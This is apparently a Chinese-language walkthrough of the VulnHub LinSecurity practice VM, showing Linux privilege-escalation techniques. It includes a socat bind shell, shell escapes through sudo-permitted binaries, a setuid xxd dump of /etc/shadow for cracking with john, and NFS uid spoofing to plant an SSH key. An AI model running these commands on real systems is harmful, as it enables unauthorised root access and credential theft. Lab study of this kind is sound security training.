本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关
靶机下载之后使用仅主机模式加载到本地VMware Workstation工作站,需要发现目标靶机的IP地址,可以使用nmap,netdiscover,或者arp之类的工具 arp-scan 例如:sudo arp-scan -I eth1 -l 当然也是可以使用Windows环境下mac地址扫描工具都是可以的,那么本次演示就是arp-scan工具发现
地址:https://www.vulnhub.com/entry/linsecurity-1,244/
sudo nmap -Pn -sC -sV -n -vvv -p- -oN linsec.nmap 192.168.202.9
nmap扫描结果
看了下靶机的描述,主要讲的是各种提权姿势,可参考:https://gtfobins.github.io/ 靶机还给出了一个普通用户账号供测试联系提权姿势
连接登录上去
方法一:
可以通过sudo提权的命令:
bob@linsecurity:~$ sudo -l
Matching Defaults entries for bob on linsecurity:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User bob may run the following commands on linsecurity:
(ALL) /bin/ash, /usr/bin/awk, /bin/bash, /bin/sh, /bin/csh, /usr/bin/curl, /bin/dash, /bin/ed, /usr/bin/env,
/usr/bin/expect, /usr/bin/find, /usr/bin/ftp, /usr/bin/less, /usr/bin/man, /bin/more, /usr/bin/scp,
/usr/bin/socat, /usr/bin/ssh, /usr/bin/vi, /usr/bin/zsh, /usr/bin/pico, /usr/bin/rvim, /usr/bin/perl,
/usr/bin/tclsh, /usr/bin/git, /usr/bin/script, /usr/bin/scp
使用socat进行提权
sudo socat tcp-listen:8833,reuseaddr,fork exec:sh,pty,stderr,setsid,sigint,sane
上面大概意思意思就是反弹到本地端口8833,然后获取权限就是连接此端口即可
socat FILE:`tty`,raw,echo=0 TCP:127.0.0.1:8833
使用sudo 执行ash提权
sudo bash提权
其他sudo执行提权
rvim没有成功
git使用sudo提权姿势很多,具体如下:
下面需要执行的命令是:
sudo pico
^R^X
reset; sh 1>&0 2>&0
这里执行的实际类似nano执行的效果一样,上面的第二行是表示在键盘上按住ctrl+r和ctrl+x然后执行下面的命令,执行完成之后再次按住ctrl+r和ctrl+x再输入要执行的命令,比如id,那么就会以root权限执行
方法二:
通过获取的密码hash是破解工具进行破解密码提权
方法三:
通过计划任务使用通配符进行提权
方法四:
利用隐藏文件进行提权
查找隐藏文件:find / -name ".*" -type f -path "/home/*" -exec ls -al {} \;
找到了隐藏文件,获取了另一个用户的密码,使用su切换过去,同下面的命令找到setuid的二进制文件xxd
查找setuid权限的文件,并过来关键字snap
ls -alt `find / -perm -4000 -type f 2>/dev/null` | grep -v snap
执行xxd获取密码hash文件
xxd /etc/shadow | xxd -r > shadowbmfx
然后通过john使用密码字典进行破解即可
方法五:
跟上面一样,不同的是这次是通过用户bob进行切换
关键命令
查找隐藏文件
find / -name ".*" -type f -path "/home/*" -exec ls -al {} \;
查找setuid权限的文件,并过来关键字snap
ls -alt `find / -perm -4000 -type f 2>/dev/null` | grep -v snap
同样是查找setuid的权限,但是查出来不显示
find / -perm -4000 -type f 2>/dev/null;
方法六:
通过taskset命令提权 参考:https://gtfobins.github.io/gtfobins/taskset/
方法七:
通过低权限nfs进行提权
上面是创建跟nfs挂载到本地的uid和gid一样的用户和用户组,然后本地kali使用 ssh-keygen生成密钥将公钥传到本地挂载的/mnt/perter目录下
权限改成600,没啥问题就能使用密钥登录目标靶机了,使用strace进行提权
迷茫的人生,需要不断努力,才能看清远方模糊的志向!